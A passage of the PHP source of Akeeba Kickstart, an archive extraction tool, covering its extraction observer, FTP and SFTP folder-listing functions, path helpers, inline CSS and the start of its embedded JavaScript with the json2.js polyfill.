		}

		return $ret;
	}
}


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
class ExtractionObserver extends AKAbstractPartObserver
{
	public $compressedTotal = 0;
	public $uncompressedTotal = 0;
	public $filesProcessed = 0;
	public $totalSize = null;
	public $fileList = null;
	public $lastFile = '';

	public function update($object, $message)
	{
		if (!is_object($message))
		{
			return;
		}

		if (!array_key_exists('type', get_object_vars($message)))
		{
			return;
		}

		switch ($message->type)
		{
			// Sent when we read the list of archive parts and their total size
			case 'totalsize':
				$this->totalSize = $message->content->totalsize;
				$this->fileList  = $message->content->filelist;
				break;

			// Sent when a file header is read from the archive
			case 'startfile':
				$this->lastFile = $message->content->file;
				$this->filesProcessed++;
				$this->compressedTotal += $message->content->compressed;
				$this->uncompressedTotal += $message->content->uncompressed;
				break;
		}

	}

	public function __toString()
	{
		return __CLASS__;
	}

}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function callExtraFeature($method = null, array $params = array())
{
	static $extraFeatureObjects = null;

	if (!is_array($extraFeatureObjects))
	{
		$extraFeatureObjects = array();
		$allClasses          = get_declared_classes();
		foreach ($allClasses as $class)
		{
			if (substr($class, 0, 9) == 'AKFeature')
			{
				$extraFeatureObjects[] = new $class;
			}
		}
	}

	if (is_null($method))
	{
		return;
	}

	if (empty($extraFeatureObjects))
	{
		return;
	}

	$result = null;
	foreach ($extraFeatureObjects as $o)
	{
		if (!method_exists($o, $method))
		{
			continue;
		}
		$result = call_user_func(array($o, $method), $params);
	}

	return $result;
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Removes trailing slash or backslash from a pathname
 *
 * @param   string  $path  The path to treat
 *
 * @return  string  The path without the trailing slash/backslash
 */
function TrimTrailingSlash($path)
{
	$newpath = $path;

	if (substr($path, strlen($path) - 1, 1) == '\\')
	{
		$newpath = substr($path, 0, strlen($path) - 1);
	}

	if (substr($path, strlen($path) - 1, 1) == '/')
	{
		$newpath = substr($path, 0, strlen($path) - 1);
	}

	return $newpath;
}


function TranslateWinPath($p_path)
{
	$is_unc = false;

	if (KSWINDOWS)
	{
		// Is this a UNC path?
		$is_unc = (substr($p_path, 0, 2) == '\\\\') || (substr($p_path, 0, 2) == '//');

		// Change potential windows directory separator
		if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0, 1) == '\\'))
		{
			$p_path = strtr($p_path, '\\', '/');
		}
	}

	// Remove multiple slashes
	$p_path = str_replace('///', '/', $p_path);
	$p_path = str_replace('//', '/', $p_path);

	// Fix UNC paths
	if ($is_unc)
	{
		$p_path = '//' . ltrim($p_path, '/');
	}

	return $p_path;
}


/**
 * FTP Functions
 */
function getListing($directory, $host, $port, $username, $password, $passive, $ssl)
{
	$directory = resolvePath($directory);
	$dir       = $directory;

	// Parse directory to parts
	$parsed_dir = trim($dir, '/');
	$parts      = empty($parsed_dir) ? array() : explode('/', $parsed_dir);

	// Find the path to the parent directory
	if (!empty($parts))
	{
		$copy_of_parts = $parts;
		array_pop($copy_of_parts);

		if (!empty($copy_of_parts))
		{
			$parent_directory = '/' . implode('/', $copy_of_parts);
		}
		else
		{
			$parent_directory = '/';
		}
	}
	else
	{
		$parent_directory = '';
	}

	// Connect to the server
	if ($ssl)
	{
		$con = @ftp_ssl_connect($host, $port);
	}
	else
	{
		$con = @ftp_connect($host, $port);
	}

	if ($con === false)
	{
		return array(
			'error' => 'FTPBROWSER_ERROR_HOSTNAME'
		);
	}

	// Login
	$result = @ftp_login($con, $username, $password);

	if ($result === false)
	{
		return array(
			'error' => 'FTPBROWSER_ERROR_USERPASS'
		);
	}

	// Set the passive mode -- don't care if it fails, though!
	@ftp_pasv($con, $passive);

	// Try to chdir to the specified directory
	if (!empty($dir))
	{
		$result = @ftp_chdir($con, $dir);

		if ($result === false)
		{
			return array(
				'error' => 'FTPBROWSER_ERROR_NOACCESS'
			);
		}
	}
	else
	{
		$directory = @ftp_pwd($con);

		$parsed_dir       = trim($directory, '/');
		$parts            = empty($parsed_dir) ? array() : explode('/', $parsed_dir);
		$parent_directory = $this->directory;
	}

	// Get a raw directory listing (hoping it's a UNIX server!)
	$list = @ftp_rawlist($con, '.');
	ftp_close($con);

	if ($list === false)
	{
		return array(
			'error' => 'FTPBROWSER_ERROR_UNSUPPORTED'
		);
	}

	// Parse the raw listing into an array
	$folders = parse_rawlist($list);

	return array(
		'error'       => '',
		'list'        => $folders,
		'breadcrumbs' => $parts,
		'directory'   => $directory,
		'parent'      => $parent_directory
	);
}

function parse_rawlist($list)
{
	$folders = array();

	foreach ($list as $v)
	{
		$info  = array();
		$vinfo = preg_split("/[\s]+/", $v, 9);

		if ($vinfo[0] !== "total")
		{
			$perms = $vinfo[0];

			if (substr($perms, 0, 1) == 'd')
			{
				$folders[] = $vinfo[8];
			}
		}
	}

	asort($folders);

	return $folders;
}

function getSftpListing($directory, $host, $port, $username, $password)
{
	$directory = resolvePath($directory);
	$dir       = $directory;

	// Parse directory to parts
	$parsed_dir = trim($dir, '/');
	$parts      = empty($parsed_dir) ? array() : explode('/', $parsed_dir);

	// Find the path to the parent directory
	if (!empty($parts))
	{
		$copy_of_parts = $parts;
		array_pop($copy_of_parts);

		if (!empty($copy_of_parts))
		{
			$parent_directory = '/' . implode('/', $copy_of_parts);
		}
		else
		{
			$parent_directory = '/';
		}
	}
	else
	{
		$parent_directory = '';
	}

	// Initialise
	$connection = null;
	$sftphandle = null;

	// Open a connection
	if (!function_exists('ssh2_connect'))
	{
		return array(
			'error' => AKText::_('SFTP_NO_SSH2')
		);
	}

	$connection = ssh2_connect($host, $port);

	if ($connection === false)
	{
		return array(
			'error' => AKText::_('SFTP_WRONG_USER')
		);
	}

	if (!ssh2_auth_password($connection, $username, $password))
	{
		return array(
			'error' => AKText::_('SFTP_WRONG_USER')
		);
	}

	$sftphandle = ssh2_sftp($connection);

	if ($sftphandle === false)
	{
		return array(
			'error' => AKText::_('SFTP_NO_FTP_SUPPORT')
		);
	}

	// Get a raw directory listing (hoping it's a UNIX server!)
	$list = array();
	$dir  = ltrim($dir, '/');

	if (empty($dir))
	{
		$dir       = ssh2_sftp_realpath($sftphandle, ".");
		$directory = $dir;

		// Parse directory to parts
		$parsed_dir = trim($dir, '/');
		$parts      = empty($parsed_dir) ? array() : explode('/', $parsed_dir);

		// Find the path to the parent directory
		if (!empty($parts))
		{
			$copy_of_parts = $parts;
			array_pop($copy_of_parts);

			if (!empty($copy_of_parts))
			{
				$parent_directory = '/' . implode('/', $copy_of_parts);
			}
			else
			{
				$parent_directory = '/';
			}
		}
		else
		{
			$parent_directory = '';
		}
	}

	$handle = opendir("ssh2.sftp://$sftphandle/$dir");

	if (!is_resource($handle))
	{
		return array(
			'error' => AKText::_('SFTPBROWSER_ERROR_NOACCESS')
		);
	}

	while (($entry = readdir($handle)) !== false)
	{
		if (!is_dir("ssh2.sftp://$sftphandle/$dir/$entry"))
		{
			continue;
		}

		$list[] = $entry;
	}

	closedir($handle);

	if (!empty($list))
	{
		asort($list);
	}

	return array(
		'error'       => '',
		'list'        => $list,
		'breadcrumbs' => $parts,
		'directory'   => $directory,
		'parent'      => $parent_directory
	);
}

/**
 * Simple function to resolve relative paths.
 * Note that it is unable to resolve pathnames any higher than the present working directory.
 * I.E. It doesn't know about any directory names that you don't tell it about; hence: ../../foo becomes foo.
 *
 * @param $filename
 *
 * @return string
 */
function resolvePath($filename)
{
	$filename = str_replace('//', '/', $filename);
	$parts    = explode('/', $filename);
	$out      = array();

	foreach ($parts as $part)
	{
		if ($part == '.')
		{
			continue;
		}

		if ($part == '..')
		{
			array_pop($out);
			continue;
		}

		$out[] = $part;
	}

	return implode('/', $out);
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function echoCSS()
{
	echo <<<CSS

:root {
    --teal-dark: #339092;
    --teal: #40B5B8;
    --teal-light: #62c6c9;

    --red-dark: #c81d23;
    --red: #E2363C;
    --red-light: #e86367;

    --grey-superdark: #272727;
    --grey-dark: #373637;
    --grey: #514F50;
    --grey-light: #6b686a;

    --green-dark: #79a638;;
    --green: #93C34E;
    --green-light: #aad074;

    --orange-dark: #ec971f;
    --orange: #F0AD4E;
    --orange-light: #f4c37d;

    --lightgrey-dark: #d6d6d6;
    --lightgrey: #EFEFEF;
    --lightgrey-light: #fcfcfc;

    --white: #ffffff;
    --black: #000000;

    --system-ui: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
    --monospace: 'Berkeley Mono', ui-monospace, 'SF Mono', SFMono-Regular, 'DejaVu Sans Mono', Menlo, Consolas, "Courier New", Courier, monospace;
}

html {
    background: var(--white);
    font-size: 62.5%;
}

a, a:visited {
	color: var(--teal);
}

a:hover, a:active {
	color: var(--teal);
}

body {
    font-size: 12pt;
    font-family: var(--system-ui);
    text-rendering: optimizeLegibility;
    background: transparent;
    color: var(--grey-dark);
    width: 100%;
    max-width: 980px;
    margin: 0 auto;
}

#page-container {
    position: relative;
    margin: 5% 0;
    background: var(--lightgrey-light);
    border: medium solid var(--lightgrey-dark);
}

#header {
    color: var(--grey-dark);
    background: var(--lightgrey);
    background-clip: padding-box;
    margin-bottom: 0.7em;
    border-bottom: 2px solid var(--lightgrey-dark);
    padding: .25em;
    font-size: 24pt;
    line-height: 1.2;
    text-align: center;
}

#logo {
	background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAACXBIWXMAAAHFAAABxQG6eNsrAAAA/0lEQVRIx+WVUQ2DMBCGv01B5wAHYw4qARxMwiQgYQ6YAyRMAjgAB+CgezmSSwOjZfRplzSXNE2/3t1/V/hXuwMjkKcC5ICTNQImBaRVEAfUKdLkFlaWMorDo8lUHXIvsvEoyEMubFai21TaOQByVeqaFWVUPewRkEz5FqjEa+Aus3KpAfqVojsvjXYtdacVSA8MAgqRaSd+AMrYzt6zgmriv3zaeNS08MhNiD5UArcvoA64AE+1FySEYiF0I939Fj/3iFVFd6F9g1KU33yNGiX+JDYCbmIkXHm1sd6YX/pT7pKF3VYrSB87fc8RZyfgJX5I8WEVsfn+5fs1/LV9AHnjYQzAbyUrAAAAAElFTkSuQmCC);
	display: inline-block;
	width: 24px;
	height: 24px;
}

#footer {
    font-size: 9pt;
    color: var(--grey-light);
    text-align: center;
    border-top: 1px solid var(--lightgrey-dark);
    padding: 1em 1em;
    background: var(--lightgrey);
    clear: both;
}

#footer a {
    color: var(--teal-dark);
    text-decoration: none;
}

#error, .error {
    x-display: none;
    border: solid var(--red-dark);
    border-width: 4px 0;
    background: var(--red-light);
    color: var(--grey-dark);
    padding: 1em 2em;
    margin-bottom: 1.15em;
    text-align: center;
}

#error h3, .error h3, .warning h3, .notice h3 {
    margin: 0;
    padding: 0;
    font-size: 12pt;
}

.warning {
    border: solid var(--orange-dark);
    border-width: 4px 0;
    background: var(--orange-light);
    color: var(--grey-dark);
    padding: 1em 2em;
    margin-bottom: 1.15em;
    text-align: center;
}

.notice {
    border: solid var(--teal-dark);
    border-width: 4px 0;
    background: var(--teal-light);
    color: var(--grey-dark);
    padding: 1em 2em;
    margin-bottom: 1.15em;
    text-align: center;
}

.clr {
    clear: both;
}

.circle {
    display: block;
    float: left;
    border-radius: 2em;
    border: 2px solid var(--lightgrey);
    font-weight: bold;
    font-size: 14pt;
    line-height: 1.5em;
    color: var(--lightgrey-light);
    height: 1.5em;
    width: 1.5em;
    margin: 0.75em;
    text-align: center;
    background: var(--teal);
}

.area-container {
    margin: 1em 2em;
}

#page2a .area-container {
    margin: 1em 0;
}

#runInstaller,
#runCleanup,
#gotoSite,
#gotoAdministrator,
#gotoPostRestorationRroubleshooting {
    margin: 0 2em 1.3em;
}

h2 {
    font-size: 18pt;
    font-weight: normal;
    line-height: 1.3;
    border: solid var(--lightgrey-dark);
    border-left: none;
    border-right: none;
    padding: 0.5em 0;
    background: var(--lightgrey);
}

#preextraction h2 {
    margin-top: 0;
    border-top: 0;
    text-align: center;
}

input,
select,
textarea {
    font-size: 100%;
    margin: 0;
    vertical-align: baseline;
    *vertical-align: middle;
}

button,
input {
    line-height: normal;
    font-weight: normal;
    *overflow: visible;
}

input,
select,
textarea {
    background: var(--white);
    color: var(--grey-dark);
    font-size: 12pt;
    border: 1px solid var(--lightgrey-dark);
    border-radius: .25em;
    box-sizing: border-box;
    width: 50%;
    padding: 0 0 0 .5em;
}

.monospaced {
	font-family: var(--monospace);
}

input[type="checkbox"] {
    width: auto;
}

.field {
    height: 1.5em;
}

label {
    display: inline-block;
    width: 30%;
    font-size: 95%;
    font-weight: normal;
    cursor: pointer;
    color: #333;
    margin: .5em 0;
}

.help {
    width: 60%;
    margin-left: 30%;
    margin-bottom: 1.5em;
    font-size: small;
    color: var(--grey);
}

input:focus, input:hover {
    background-color: var(--lightgrey);
}

.button {
    display: inline-block;
    margin: 1em .25em;
    padding: 1em 2em;
    background: var(--green-dark);
    color: var(--white);
    border: 1px solid var(--green);
    cursor: pointer;
    border-radius: .25em;
    transition: 0.3s linear all;
}

#checkFTPTempDir.button,
#resetFTPTempDir.button,
#testFTP.button,
#browseFTP,
#reloadArchives,
#notWorking.button {
    padding: .5em 1em;
}

.button:hover, .button:active {
    border: 1px solid var(--green-light);
    background: var(--green);
    color: var(--white);
}

#notWorking.button, .bluebutton {
    text-decoration: none;
    background: var(--teal);
    border-color: var(--teal-dark);
    color: var(--white);
}

#notWorking.button:hover, .bluebutton:hover {
    background: var(--teal-light);
    border-color: var(--teal);
    color: var(--white);
}

#notWorking.button:active, .bluebutton:active {
    background: var(--teal-light);
    border-color: var(--teal);
}

.loprofile {
    padding: 0.5em 1em;
    font-size: 80%;
}

.black_overlay {
    display: none;
    position: absolute;
    top: 0%;
    left: 0%;
    width: 100%;
    height: 100%;
    background-color: var(--black);
    z-index: 1001;
    -moz-opacity: 0.8;
    opacity: .80;
    filter: alpha(opacity=80);
}

.white_content {
    display: none;
    position: absolute;
    padding: 0 0 1em;
    background: var(--lightgrey-light);
    border: 1px solid rgba(0, 0, 0, .3);
    z-index: 1002;
    overflow: hidden;
}

.white_content a {
    margin-left: 4em;
}

ol {
    margin: 0 2em;
    padding: 0 2em 1em;
}

li {
    margin: 0 0 .5em;
}

#genericerror {
    background-color: var(--orange-light);
    border: 4px solid var(--orange) !important;
}

#genericerrorInner {
    font-size: 110%;
    color: var(--grey-dark);
}

#warn-not-close, .warn-not-close {
    padding: 0.2em 0.5em;
    text-align: center;
    background: var(--orange);
    font-size: smaller;
    font-weight: bold;
}

#progressbar, .progressbar {
    display: block;
    width: 80%;
    height: 32px;
    border: 1px solid var(--lightgrey-dark);
    margin: 1em 10% 0.2em;
    border-radius: .25em;
}

#progressbar-inner, .progressbar-inner {
    display: block;
    width: 100%;
    height: 100%;
    background: var(--teal-dark);
}

#currentFile {
    font-family: var(--monospace);
    font-size: 9pt;
    height: 10pt;
    overflow: hidden;
    text-overflow: ellipsis;
    background: var(--lightgrey-dark);
    margin: 0 10% 1em;
    padding: .125em;
}

#extractionComplete {
}

#warningsContainer {
    border-bottom: 2px solid var(--orange-dark);
    border-left: 2px solid var(--orange-dark);
    border-right: 2px solid var(--orange-dark);
    padding: 5px 0;
    background: var(--orange-light);
    border-bottom-right-radius: 5px;
    border-bottom-left-radius: 5px;
}

#warningsHeader h2 {
    color: var(--grey-dark);
    border-top: 2px solid var(--orange-dark);
    border-left: 2px solid var(--orange-dark);
    border-right: 2px solid var(--orange-dark);
    border-bottom: thin solid var(--orange-dark);
    border-top-right-radius: 5px;
    border-top-left-radius: 5px;
    background: var(--orange);
    font-size: large;
    padding: 2px 5px;
    margin: 0px;
}

#warnings {
    height: 200px;
    overflow-y: scroll;
}

#warnings div {
    background: var(--orange-light);
    font-size: small;
    padding: 2px 4px;
    border-bottom: thin solid var(--grey-dark);
}

.helpme,
#warn-not-close {
    background: var(--orange-light);
    padding: 0.75em 0.5em;
    border: solid var(--orange);
    border-width: 1px 0;
    text-align: center;
}

/* FTP / S3 Browser */
.breadcrumb {
    background-color: var(--lightgrey);
    border-radius: 4px;
    list-style: none outside none;
    margin: 0 0 18px;
    padding: 8px 15px;
}

.breadcrumb > li {
    display: inline-block;
    text-shadow: 0 1px 0 var(--lightgrey-light);
}

#ak_crumbs span {
    padding: 1px 3px;
}

#ak_crumbs a {
    cursor: pointer;
}

#ftpBrowserFolderList a {
    cursor: pointer
}

/* Bootstrap porting */
.table {
    margin-bottom: 18px;
    width: 100%;
}

.table th, .table td {
    border-top: 1px solid var(--lightgrey-dark);
    line-height: 18px;
    padding: 8px;
    text-align: left;
    vertical-align: top;
}

.table-striped tbody > tr:nth-child(2n+1) > td, .table-striped tbody > tr:nth-child(2n+1) > th {
    background-color: var(--lightgrey-light);
}

@media (prefers-color-scheme: dark) {
	html {
		background: var(--grey-superdark);
		color: var(--white);
	}

	body {
		background: var(--grey-superdark);
		color: var(--white);
	}

	#logo {
		background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAACXBIWXMAAAHFAAABxQG6eNsrAAABFElEQVRIx+VVQZHDMAxcFYGPQRg0ZRAIKYODUAiFcAxyDAKhEFwGCYOEwfYjT1VPWjtt/Ko+mvFYXkm7koGvNJK/JCeSdSmAmnebSLoSIJ6P1pVo05JVJavYthqSleGhjiqbtgI56YP9k+qSSttl4OzV10FR6gMfzRYglfGe5BmABxAk7N5tUaNcOJIDX1tvYhZbJ09ABgCjZp8j06v6UUSOSRDNxr8rFBGRHE7izOfEu/NCkkkQe+kI4PAC6CoiPwD+zJnLIb0NjJozR7IjeVEfZqQxpDN3bmAUFQ9fH1ZJvIk1xscxKaCzXX5RptPSn6Krpv1ktXQGZFi7fXcr7s4A/gHMIjKW+LDaVf3+8Pt1+Gq7AZ5SjMx2RnT3AAAAAElFTkSuQmCC);
	}

	#page-container {
		background: var(--grey-dark);
		border: medium solid var(--grey);
	}

	#header {
	    color: var(--lightgrey-dark);
	    background: var(--grey-light);
	    border-bottom: 2px solid var(--grey);
	}

	#footer {
	    color: var(--lightgrey-light);
	    border-top: 1px solid var(--grey-dark);
	    background: var(--grey);
	}

	#footer a {
	    color: var(--teal);
	}

	h2 {
		border: solid var(--grey-light);
		background: var(--grey);
	}

	input,
	select,
	textarea {
	    background: var(--grey-dark);
	    color: var(--lightgrey);
	    border: 1px solid var(--grey);
	}

	label {
		color: var(--lightgrey)
	}

	.help {
	    color: var(--lightgrey-dark);
	}

	input:focus, input:hover {
	    background-color: var(--grey-light);
	}

	.white_content {
		background-color: var(--grey-dark);
	}

	#warn-not-close, .warn-not-close {
	    color: var(--white);
	}

	#progressbar, .progressbar {
	    border: 1px solid var(--grey-light);
	}

	#currentFile {
		background-color: var(--grey);
	}

	#warningsContainer {
		color: var(--grey-dark);
	}

	.helpme, #warn-not-close {
		color: var(--grey-dark);
	}

	.helpme a, #warn-not-close a {
		color: var(--teal-dark);
	}
}

CSS;

	callExtraFeature('onExtraHeadCSS');
}

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

function echoHeadJavascript()
{
	?>
    <script type="text/javascript" language="javascript">
		var akeeba = {};

		var akeeba_debug     = <?php echo defined('KSDEBUG') ? 'true' : 'false' ?>;
		var akeeba_pro       = <?php echo KICKSTARTPRO ? 1 : 0 ?>;
		var sftp_path        = '<?php echo TranslateWinPath(defined('KSROOTDIR') ? KSROOTDIR : dirname(__FILE__)); ?>/';
		var akeeba_ajax_url  = '<?php echo defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__); ?>';
		var default_temp_dir = '<?php echo addcslashes(AKKickstartUtils::getPath(), '\\\'"') ?>';
		var translation      = {
			<?php echoTranslationStrings(); ?>
		};
		var isJoomla         = true;

/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */


/*
 *	https://raw.githubusercontent.com/douglascrockford/JSON-js/master/json2.js
 *  2016-05-01
 *  Public Domain.
 *  NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.
 *  See http://www.JSON.org/js.html
 */
// Create a JSON object only if one does not already exist. We create the
// methods in a closure to avoid creating global variables.

if (typeof JSON !== "object")
{
	JSON = {};
}

(function ()
{
	"use strict";

	var rx_one       = /^[\],:{}\s]*$/;
	var rx_two       = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g;
	var rx_three     = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g;
	var rx_four      = /(?:^|:|,)(?:\s*\[)+/g;
	var rx_escapable = /[\\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;
	var rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;

	function f(n)
	{
		// Format integers to have at least two digits.
		return n < 10
			? "0" + n
			: n;
	}

	function this_value()
	{
		return this.valueOf();
	}

	if (typeof Date.prototype.toJSON !== "function")
	{

		Date.prototype.toJSON = function ()
		{

			return isFinite(this.valueOf())
				? this.getUTCFullYear() + "-" +
				f(this.getUTCMonth() + 1) + "-" +
				f(this.getUTCDate()) + "T" +
				f(this.getUTCHours()) + ":" +
				f(this.getUTCMinutes()) + ":" +
				f(this.getUTCSeconds()) + "Z"
				: null;
		};

		Boolean.prototype.toJSON = this_value;
		Number.prototype.toJSON  = this_value;
		String.prototype.toJSON  = this_value;
	}

	var gap;
	var indent;
	var meta;
	var rep;


	function quote(string)
	{

// If the string contains no control characters, no quote characters, and no
// backslash characters, then we can safely slap some quotes around it.
// Otherwise we must also replace the offending characters with safe escape
// sequences.

		rx_escapable.lastIndex = 0;
		return rx_escapable.test(string)
			? "\"" + string.replace(rx_escapable, function (a)
		{
			var c = meta[a];
			return typeof c === "string"
				? c
				: "\\u" + ("0000" + a.charCodeAt(0).toString(16)).slice(-4);
		}) + "\""
			: "\"" + string + "\"";
	}


	function str(key, holder)
	{

// Produce a string from holder[key].

		var i;          // The loop counter.
		var k;          // The member key.
		var v;          // The member value.
		var length;
		var mind  = gap;
		var partial;
		var value = holder[key];

// If the value has a toJSON method, call it to obtain a replacement value.

		if (value && typeof value === "object" &&
			typeof value.toJSON === "function")
		{
			value = value.toJSON(key);
		}

// If we were called with a replacer function, then call the replacer to
// obtain a replacement value.

		if (typeof rep === "function")
		{
			value = rep.call(holder, key, value);
		}

// What happens next depends on the value's type.

		switch (typeof value)
		{
			case "string":
				return quote(value);

			case "number":

// JSON numbers must be finite. Encode non-finite numbers as null.

				return isFinite(value)
					? String(value)
					: "null";

			case "boolean":
			case "null":

// If the value is a boolean or null, convert it to a string. Note:
// typeof null does not produce "null". The case is included here in
// the remote chance that this gets fixed someday.

				return String(value);

// If the type is "object", we might be dealing with an object or an array or
// null.

			case "object":

// Due to a specification blunder in ECMAScript, typeof null is "object",
// so watch out for that case.

				if (!value)
				{
					return "null";
				}

// Make an array to hold the partial results of stringifying this object value.

				gap += indent;
				partial = [];

// Is the value an array?

				if (Object.prototype.toString.apply(value) === "[object Array]")
				{

// The value is an array. Stringify every element. Use null as a placeholder
// for non-JSON values.

					length = value.length;
					for (i = 0; i < length; i += 1)
					{
						partial[i] = str(i, value) || "null";
					}

// Join all of the elements together, separated with commas, and wrap them in
// brackets.

					v   = partial.length === 0
						? "[]"
						: gap
							? "[\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "]"
							: "[" + partial.join(",") + "]";
					gap = mind;
					return v;
				}

// If the replacer is an array, use it to select the members to be stringified.

				if (rep && typeof rep === "object")
				{
					length = rep.length;
					for (i = 0; i < length; i += 1)
					{
						if (typeof rep[i] === "string")
						{
							k = rep[i];
							v = str(k, value);
							if (v)
							{
								partial.push(quote(k) + (
									gap
										? ": "
										: ":"
								) + v);
							}
						}
					}
				}
				else
				{

// Otherwise, iterate through all of the keys in the object.

					for (k in value)
					{
						if (Object.prototype.hasOwnProperty.call(value, k))
						{
							v = str(k, value);
							if (v)
							{
								partial.push(quote(k) + (
									gap
										? ": "
										: ":"
								) + v);
							}
						}
					}
				}

// Join all of the member texts together, separated with commas,
// and wrap them in braces.

				v   = partial.length === 0
					? "{}"
					: gap
						? "{\n" + gap + partial.join(",\n" + gap) + "\n" + mind + "}"
						: "{" + partial.join(",") + "}";
				gap = mind;
				return v;
		}
	}

// If the JSON object does not yet have a stringify method, give it one.

	if (typeof JSON.stringify !== "function")
	{
		meta           = {    // table of character substitutions
			"\b": "\\b",
			"\t": "\\t",
			"\n": "\\n",
			"\f": "\\f",
			"\r": "\\r",
			"\"": "\\\"",
			"\\": "\\\\"
		};
		JSON.stringify = function (value, replacer, space)
		{

// The stringify method takes a value and an optional replacer, and an optional
// space parameter, and returns a JSON text. The replacer can be a function
// that can replace values, or an array of strings that will select the keys.
// A default replacer method can be provided. Use of the space parameter can
// produce text that is more easily readable.

			var i;
			gap    = "";
			indent = "";

// If the space parameter is a number, make an indent string containing that
// many spaces.

			if (typeof space === "number")
			{
				for (i = 0; i < space; i += 1)
				{
					indent += " ";
				}

// If the space parameter is a string, it will be used as the indent string.

			}
			else if (typeof space === "string")
			{
				indent = space;
			}

// If there is a replacer, it must be a function or an array.
// Otherwise, throw an error.

			rep = replacer;
			if (replacer && typeof replacer !== "function" &&
				(typeof replacer !== "object" ||
					typeof replacer.length !== "number"))
			{
				throw new Error("JSON.stringify");
			}

// Make a fake root object containing our value under the key of "".
// Return the result of stringifying the value.

			return str("", {"": value});
		};
	}


// If the JSON object does not yet have a parse method, give it one.

	if (typeof JSON.parse !== "function")
	{
		JSON.parse = function (text, reviver)
		{

// The parse method takes a text and an optional reviver function, and returns
// a JavaScript value if the text is a valid JSON text.

			var j;

			function walk(holder, key)
			{

// The walk method is used to recursively walk the resulting structure so
// that modifications can be made.

				var k;
				var v;
				var value = holder[key];
				if (value && typeof value === "object")
				{
					for (k in value)
					{
						if (Object.prototype.hasOwnProperty.call(value, k))
						{
							v = walk(value, k);
							if (v !== undefined)
							{
								value[k] = v;
							}
							else
							{
								delete value[k];
							}
						}
					}
				}
				return reviver.call(holder, key, value);
			}


// Parsing happens in four stages. In the first stage, we replace certain
// Unicode characters with escape sequences. JavaScript handles many characters
// incorrectly, either silently deleting them, or treating them as line endings.

			text                   = String(text);
			rx_dangerous.lastIndex = 0;
			if (rx_dangerous.test(text))
			{
				text = text.replace(rx_dangerous, function (a)
				{
					return "\\u" +
						("0000" + a.charCodeAt(0).toString(16)).slice(-4);
				});
			}

// In the second stage, we run the text against regular expressions that look
// for non-JSON patterns. We are especially concerned with "()" and "new"
// because they can cause invocation, and "=" because it can cause mutation.
// But just to be safe, we want to reject all unexpected forms.

// We split the second stage into 4 regexp operations in order to work around
// crippling inefficiencies in IE's and Safari's regexp engines. First we
// replace the JSON backslash pairs with "@" (a non-JSON character). Second, we
// replace all simple value tokens with "]" characters. Third, we delete all
// open brackets that follow a colon or comma or that begin the text. Finally,
// we look to see that the remaining characters are only whitespace or "]" or
// "," or ":" or "{" or "}". If that is so, then the text is safe for eval.

			if (
				rx_one.test(
					text
						.replace(rx_two, "@")
						.replace(rx_three, "]")
						.replace(rx_four, "")
				)
			)
			{

// In the third stage we use the eval function to compile the text into a
// JavaScript structure. The "{" operator is subject to a syntactic ambiguity
// in JavaScript: it can begin a block or an object literal. We wrap the text
// in parens to eliminate the ambiguity.

				j = eval("(" + text + ")");

// In the optional fourth stage, we recursively walk the new structure, passing
// each name/value pair to a reviver function for possible transformation.

				return (typeof reviver === "function")
					? walk({"": j}, "")
					: j;
			}

// If the text is not JSON parseable, then a SyntaxError is thrown.

			throw new SyntaxError("JSON.parse");
		};
	}
}());


/**
 * Akeeba Kickstart
 * An AJAX-powered archive extraction tool
 *
 * @package   kickstart
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Returns the version of Internet Explorer or a -1
 * (indicating the use of another browser).
 *
 * @return   integer  MSIE version or -1
 */
function getInternetExplorerVersion()
{
	var rv = -1; // Return value assumes failure.
	if (navigator.appName == "Microsoft Internet Explorer")
	{
		var ua = navigator.userAgent;
		var re = new RegExp("MSIE ([0-9]{1,}[\.0-9]{0,})");
		if (re.exec(ua) != null)
		{
			rv = parseFloat(RegExp.$1);
		}
	}
	return rv;
}

function resolvePath(filename)
{
	filename  = filename.replace("\/\/g", "\/");
	var parts = filename.split("/");
	var out   = [];

